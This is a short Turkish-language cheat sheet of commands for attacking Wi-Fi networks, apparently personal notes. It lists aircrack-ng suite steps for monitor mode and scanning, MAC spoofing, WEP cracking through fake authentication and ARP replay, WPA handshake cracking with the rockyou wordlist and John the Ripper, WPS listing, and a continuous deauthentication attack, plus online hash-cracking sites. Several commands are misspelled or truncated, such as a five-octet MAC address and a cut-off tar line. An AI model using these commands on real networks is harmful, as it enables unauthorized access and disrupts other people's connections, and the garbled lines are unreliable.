Wireless Crack

Ağ Dinleme

- airmon-ng (arayüzü dinleme moduna çeviriyor)
- airmon-ng start wlan1 (başlatmak için)
- mon0 adlı bir arayüz oluşyor..
- airmon-ng stop mon0 (bitirmek için)
- airodump-ng mon0 (bulabildiği kablosuz ağları listeler)
- airodump-ng mon0 --bssid MAC --channel 4(belirli bir kanal izlemek)

MAC Değiştirme

- ifconfig down (ile arayüz kapatılır.)
- Ardından değiştirmek için;
- ifconfig wlan1 hw ether 74:65:46:45:45 (mac yazılır.)

WEP Kırma

- airreplay-ng --fakeauth 1 -a MAC --ignore-negative-one -c 3 mon0 (fake paketleri göndermek için)
- data trafiğini yoğun yapmak için kullanıyoruz. sebep, elde trafik olsun.

- aireplay-ng --arpreplay -b MAC mon0
- aircrack-ng ab2014-01.cap

- ör:
- tar xvf /mnt/h

- aircrack
- kismet

WAP Kırma

- aircrack-ng ab2014-wpa-01.cap -w /usr/share/wordlists/rockyou.txt

- john --incremental:all -stdout
- john --incremental:all -stdout | aircrack-ng -w -b SSID ab2014 -ab2014-wpa-01.cap

Wifi Listeleme

- wash -i mon0
- wash -i mon0 -b SSID (-p biliniyorsa)
- aireplay-ng --deauth 0 -a SSID -c (SationSSID) mon0
- http://www.onlinehashcrack.com/WPA-WPA2-RSNA-PSK-crack.php

- metin şifreleme
- http://md5decrypter.co.uk/text-encryption.aspx